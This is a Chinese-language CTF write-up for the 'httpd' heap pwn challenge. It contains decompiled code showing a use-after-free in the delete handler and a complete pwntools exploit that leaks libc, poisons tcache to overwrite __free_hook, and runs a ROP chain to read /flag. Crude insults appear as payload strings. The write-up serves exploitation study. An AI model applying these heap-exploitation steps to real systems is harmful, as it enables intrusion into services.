2021陇原战"疫"httpd

前言

可以说 httpd 与👴有很长渊源了。👴刚进贵🐋️的时候，👴的老师是 aidai。讲 web 的那一学期，他布置的二进制作业是阅读 tinyhttpd 源码。你知道一个大笔都对带一新生的心灵造成了多大的伤害吗！👴每个字母都认识，但是就是看不懂啊。

后来在纵横杯 awd 赛道上，aidai 一手 %66lag 秒了一个 httpd。让 StudentUnion 的名字第一次出现在了 CTF 的赛场上。

然后👴这次又碰见了这个不怎么友好的 httpd。

碎碎念

非题解部分，不想看的同志请直接 跳转到题解。

说是 httpd，其实就是堆菜单题套了个壳。属于是换皮出题了。

这题其实不怎么难，关键是有点脑洞。拿到这题，直接去找 web 师傅看一下。

“有没有 web 老哥看一下 pwn 的 httpd。”

我对 web 可以说是一窍不通，只会右键查看源码。( mac 的 touch bar F12 不好使，我连 F12 都不会 )

然后没人回我……然后我想直接放弃得了，反正不做这题也是第一，躺了躺了。等了一会儿，逆向师傅看了一眼 /robots.txt，直接把二进制文件给你拖下来咯。

好家伙

然后直接进行一个 api 的分析。

Files Downloads: /backup.zip

    HTTPD ALL APIS:

Add API:
method: POST
url: /?req=add&index=@&size=@
post your data



Delete API:
method: GET
url = /?req=del&index=@



Get API:
method: GET
url : /?req=get&index=@


    [@: is your input value]

这一看就是个堆菜单题的标准模板嘛。直接打开 burp 进行一个试的测。

通过 POST 来创建堆块。然后再用 GET 来 get 他。好家伙，返回 ` { “code”:”false”,”msg”:”none data” } `。

怀疑 add 时没有写入。理由是 add 返回了 {"code":"true", "msg":"warning none data!"}。于是去逆向分析一波。在 0x15110 左右一大堆 xmm 变量里面找到了 warning none data! 这个字符串。找到 httpd::work::work::client_add_data(void) 这个函数，里面大约 360 行有检测。

if ( !httpd::work::work::client_check_is_none(v3) )
  {
    v54 = &s1;
    v45 = 0x2BLL;
    v37 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v54, &v45, 0LL);
    v54 = v37;
    s1 = v45;
    *v37 = _mm_load_si128(&unk_15180);
    v38 = _mm_load_si128(&warning_no_data);
    *(v37 + 32) = 'atad eno';
    *(v37 + 40) = '"!';
    *(v37 + 42) = '}';
    *(v37 + 16) = v38;
    v55 = v45;
    *(v54 + v45) = 0;
    v25 = *(v3 + 9) == 0LL;
    v49 = &v51;
    v51 = 1869834798;
    v52 = 110;
    v50 = 5LL;
    v53 = 0;
    if ( !v25 )
    {
      (*(v3 + 10))(v3 + 56, &v49, &v54);
      goto LABEL_70;
    }
l1:
    if ( v54 != &s1 )
      operator delete(v54);
    goto LABEL_58;
  }

分析一下 httpd::work::work::client_check_is_none 这个函数。

__int64 __fastcall httpd::work::work::client_check_is_none(httpd::work::work *this)
{
  const __m128i *v1; // rbp
  __int64 *v2; // r12
  __int64 len; // [rsp+0h] [rbp-50h]
  __m128i *v5; // [rsp+8h] [rbp-48h]
  __int64 v6; // [rsp+10h] [rbp-40h]
  __int64 v7; // [rsp+18h] [rbp-38h]
  unsigned __int64 v8; // [rsp+30h] [rbp-20h]

  __asm { endbr64 }
  v8 = __readfsqword(0x28u);
  v1 = **(this + 2);
  v5 = &v7;
  if ( !v1 )
    goto LABEL_9;
  v2 = &v5;
  len = 0x10LL;
  v5 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v5, &len, 0LL);
  v7 = len;
  *v5 = _mm_loadu_si128(v1);
  v6 = len;
  *(v5->m128i_i64 + len) = 0;
  LOBYTE(v2) = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare() == 0;
  if ( v5 != &v7 )
    operator delete(v5);
  if ( __readfsqword(0x28u) != v8 )
LABEL_9:
    std::__throw_logic_error("basic_string::_M_construct null not valid");
  return v2;
}

这里 ida 抽风了，compare 的两个参数分别是 &v5 和 “CHECK”。也就是一个长度为 0x10 的字符串和一个长度为 5 的 const char * 比较，这 tmd 不可能返回 0 啊我寻思。

然后我寻思本地 debug 一下看怎么绕过。把请求头写好直接 send 返回错误，焯。

到比赛结束也没弄好，寄。

某位带师傅试了试加上 \r\n，本地不报错了。开始本地调试。

题解

此处摘取重要信息。

add函数：

unsigned __int64 __fastcall httpd::work::work::client_add_data(httpd::work::work *this){
    ...
    idx = strtol(*(v14 + 64), 0LL, '\n');
    if ( v54 != &s1 )
        operator delete(v54);
    if ( idx > 0xFF )
    {
        ...
    }
    v22 = v3 + 16 * idx;
    if ( *(v22 + 328) > 0 )
    {
    ...
    }
    *(v22 + 0x148) = size;
    if ( size > 0x400 )
    {
        ...
    }
    chunk = operator new[](size);
    *(v22 + 0x140) = chunk;
    size_1 = v44;
    if ( size < v44 )
        size_1 = size;
    memcpy(chunk, **(v3 + 2), size_1);
    if ( !httpd::work::work::client_check_is_none(v3) )
    {
        ...
    }
}

在 httpd::work::work::client_check_is_none(v3) 之前已经通过 memcpy 将 POST 的信息保存下来了。因此 client_check_is_none 报不报错无所谓。之所以前面没有 get 到信息，是因为…没用 socket。

unsigned __int64 __usercall httpd::work::work::client_delete_data@<rax>(httpd::work::work *this@<rdi>, __int64 a2@<rbx>, __int64 a3@<rbp>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>, __int64 a7@<r15>){
    ...
    if ( *(v18 + 328) ) //size
  {
    v19 = *(v18 + 320);
    if ( v19 )
      operator delete[](v19);
    v33 = &s1;
    s1 = ':"edoc"{';
    *(v18 + 328) = 0;//size
    v20 = *(v9 + 9) == 0LL;
    v36 = 'urt"';
    v37 = '"e';
    v38 = '}';
  }
    ...
}

结合这个函数，漏洞很明显，size 在 报错之前被写入了，而 free 只清除了 size 位置。因此是一个裸的 UAF。这就好办了，直接 UAF 打 __free_hook，然后绕沙箱就完事了。

有了上面的分析，相信大家闭着眼都能把 exp 写出来了吧。

exp 附上，非最差解。

from pwn import *
# r = process(["./httpd"])
# r = process(["./httpd"],env={"LD_PRELOAD":"./libc.so.6"})
# context.log_level = 'debug'
libc = ELF("./libc.so.6")
def add(index,size,con):
    r.send("""POST /?req=add&index=%d&size=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\nContent-Length: %d\r\n\r\n%s"""%(index,size,len(con),con))
    sleep(0.1)

def get(index):
    r.send("GET /?req=get&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index))
    sleep(0.1)

def delete(index):
    r.send("GET /?req=del&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index))
    sleep(0.1)


r = remote("node4.buuoj.cn",29026)

for i in range(7):
    add(i,0x400,'nmslnmslnmslnmsl')

add(7,0x400,'wsnd')

add(8,0x40,'wsndwsndwsndwsnd')
add(9,0x40,'wsndwsndwsndwsnd')
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)

delete(7)
add(7,0x800,'wsnd')
r.recv()
get(7)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x1ebbe0
success("libc_base = "+hex(libc_base))

gadget=libc_base+0x0000000000154930
success("gadget = "+hex(gadget))
rdi = libc_base+0x0000000000026b72
rsi = libc_base+0x0000000000027529
rdx2 = libc_base+0x0000000000162866
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
puts = libc_base+libc.sym['puts']
gadget2 = libc_base+0x000000000005e650
rop = p64(rdi)+p64(libc_base+libc.sym['__free_hook']+0x10)+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx2)+p64(0x40)+p64(0)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(puts)
info(hex(len(rop)))
payload = p64(rdx2)+p64(0)+p64(0)+p64(rdi)+p64(gadget2)+rop

delete(8)
delete(9)
add(9,0x800,'leak')

for i in range(7):
    add(i+40,0x58,'nmsl')
add(10,0x58,'nmsl')
add(11,0x58,'nmsl')

for i in range(7):
    delete(i+40)
add(15,0x3e0,payload)
add(16,0x3e0,payload)
add(17,0x3e0,payload)

delete(17)
delete(16)
delete(15)
r.recv()
add(15,0x800,'nmsl')
r.recv()
get(15)
context.log_level='debug'
heap_base = u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))
success("heap_base = "+hex(heap_base))

add(16,0x3e0,payload)
add(17,0x3e0,payload)
add(18,0x3e0,payload)
add(19,0x3e0,payload)
delete(10)
delete(11)
add(10,0x800,'double free')
delete(10)

for i in range(7):
    add(i+60,0x58,'nmsl')

add(11,0x58,p64(libc_base+libc.sym['__free_hook']))
add(12,0x58,p64(libc_base+libc.sym['__free_hook']))
add(13,0x58,p64(libc_base+libc.sym['__free_hook']))
add(14,0x58,p64(gadget)+p64(heap_base)+'/flag\x00')

r.interactive()

内容有粗鄙之语，习惯，多包涵。

gadget 利用分析请转本博客 bytectf2020 复现。

有个小坑，我本地和远程的堆布局不一样…索性直接申请好几个大堆块泄露了再把 rop 写进去，完事。

此方法非最差解。setcontext 亦可解之。

躺赢

携手抗疫，共度难关！